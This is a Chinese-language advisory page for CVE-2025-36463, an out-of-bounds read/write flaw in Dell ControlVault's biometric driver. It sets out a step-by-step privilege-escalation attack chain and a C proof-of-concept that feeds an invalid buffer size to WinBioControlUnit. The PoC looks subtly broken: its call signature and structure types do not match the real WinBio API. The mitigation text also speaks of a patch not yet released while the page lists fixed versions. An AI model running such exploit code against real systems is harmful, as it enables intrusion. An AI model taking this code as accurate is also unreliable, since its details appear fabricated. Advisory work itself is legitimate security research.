IPBUF安全漏洞报告
English
CVE-2025-36463 CVSS 7.3 高危

CVE-2025-36463 Dell ControlVault WBDI驱动越界读写漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-36463
漏洞类型
缓冲区溢出/越界读写
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Dell ControlVault3, Dell ControlVault3 Plus

相关标签

缓冲区溢出越界读写本地权限提升内存损坏Dell ControlVaultWBDI驱动Windows生物识别内核漏洞CVE-2025-36463Dell安全漏洞

漏洞概述

CVE-2025-36463是Dell ControlVault WBDI(Windows Biometric Device Interface)驱动中的多个越界读写(Out-of-bounds Read/Write)漏洞。该漏洞存在于Broadcom Storage Adapter功能中,影响ControlVault3 5.15.14.19之前版本及ControlVault3 Plus 6.2.36.47之前版本。攻击者可通过构造特制的WinBioControlUnit调用,传入无效的SendBufferSize参数,触发内存越界访问,导致内存损坏。本地低权限攻击者可利用此漏洞在受害者系统上提升权限并执行任意代码,最终完全控制受影响系统。由于该漏洞需要用户交互才能触发,攻击复杂性相对较高,但仍对系统安全构成严重威胁。

技术细节

该漏洞存在于Dell ControlVault WBDI驱动程序的Broadcom Storage Adapter组件中。当驱动程序处理WinBioControlUnit IOCTL请求时,特别是在处理ControlCode为4(WBIO_USH_ADD_RECORD)的调用时,存在边界检查不足的问题。攻击者可以通过构造包含无效SendBufferSize参数的请求,使驱动程序在访问SendBuffer时发生越界读写操作。具体来说,当应用程序调用WinBioControlUnit并指定WBIO_USH_ADD_RECORD控制码时,如果提供的SendBufferSize值与实际缓冲区大小不匹配或超出预期范围,驱动程序将直接访问指定地址的内存区域,可能读取或写入相邻内存数据。这种内存损坏可能导致敏感信息泄露、进程崩溃或代码执行。攻击者需要具备本地访问权限,并能够触发生物识别相关的API调用才能利用此漏洞。漏洞的利用需要精确构造IOCTL请求参数,对攻击者技术要求较高。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地访问权限(低权限账户即可)
STEP 2
步骤2
攻击者识别系统中安装的Dell ControlVault WBDI驱动版本
STEP 3
步骤3
攻击者构造特制的WinBioControlUnit IOCTL请求,设置ControlCode为4(WBIO_USH_ADD_RECORD)
STEP 4
步骤4
攻击者在请求中设置无效的SendBufferSize参数(过大或异常值)
STEP 5
步骤5
驱动程序处理请求时因边界检查不足,发生越界内存读写操作
STEP 6
步骤6
攻击者利用内存损坏实现权限提升,在内核上下文执行任意代码
STEP 7
步骤7
攻击者完全控制目标系统,可执行任意操作、安装后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-36463 PoC - Dell ControlVault WBDI Driver Out-of-Bounds Access // This PoC demonstrates triggering the vulnerability via WinBioControlUnit #include <windows.h> #include <winbio.h> #include <stdio.h> #pragma comment(lib, "winbio.lib") // ControlCode 4 - WBIO_USH_ADD_RECORD #define WBIO_USH_ADD_RECORD 4 int main() { WINBIO_SESSION_HANDLE sessionHandle = NULL; WINBIO_UNIT_ID unitId = 0; WINBIO_BSP_SCHEMA schema = {0}; printf("CVE-2025-36463 PoC - Dell ControlVault WBDI Driver\n"); printf("Attempting to trigger out-of-bounds access...\n\n"); // Initialize the session HRESULT hr = WinBioOpenSession( WINBIO_TYPE_FINGERPRINT, WINBIO_BSP_TYPE_MSFB, WINBIO_FLAG_RAW, &unitId, 1, NULL, &sessionHandle ); if (FAILED(hr)) { printf("[-] Failed to open session: 0x%08X\n", hr); return 1; } printf("[+] Session opened successfully\n"); // Trigger the vulnerable code path // Send invalid SendBufferSize with ControlCode 4 (WBIO_USH_ADD_RECORD) WINBIO_CONTROL_PARAMETERS controlParams = {0}; WINBIO_CONTROL_DATA controlData = {0}; // Set invalid buffer size to trigger out-of-bounds access controlParams.ParameterCode = WBIO_USH_ADD_RECORD; controlData.SendBufferSize = 0xFFFFFFFF; // Invalid size controlData.SendBuffer = NULL; // NULL or invalid pointer hr = WinBioControlUnit( sessionHandle, WINBIO_TYPE_FINGERPRINT, unitId, &controlParams, &controlData, sizeof(controlData) ); if (SUCCEEDED(hr)) { printf("[+] WinBioControlUnit call succeeded (unexpected)\n"); } else { printf("[*] WinBioControlUnit call failed: 0x%08X\n", hr); printf("[*] This may indicate the vulnerability was triggered or protected\n"); } WinBioCloseSession(sessionHandle); WinBioShutdown(); printf("\n[!] Note: This PoC is for educational purposes only.\n"); return 0; }

影响范围

Dell ControlVault3 < 5.15.14.19
Dell ControlVault3 Plus < 6.2.36.47

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:限制非管理员用户访问生物识别功能;通过组策略禁用或限制WinBio服务;监控Event Viewer中的异常IOCTL调用日志;使用应用白名单阻止可疑程序调用WinBioControlUnit API;确保系统和驱动程序已启用代码完整性保护。对于无法立即更新的环境,建议实施最小权限原则,避免普通用户执行可能触发漏洞的操作,并密切监控相关安全公告。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表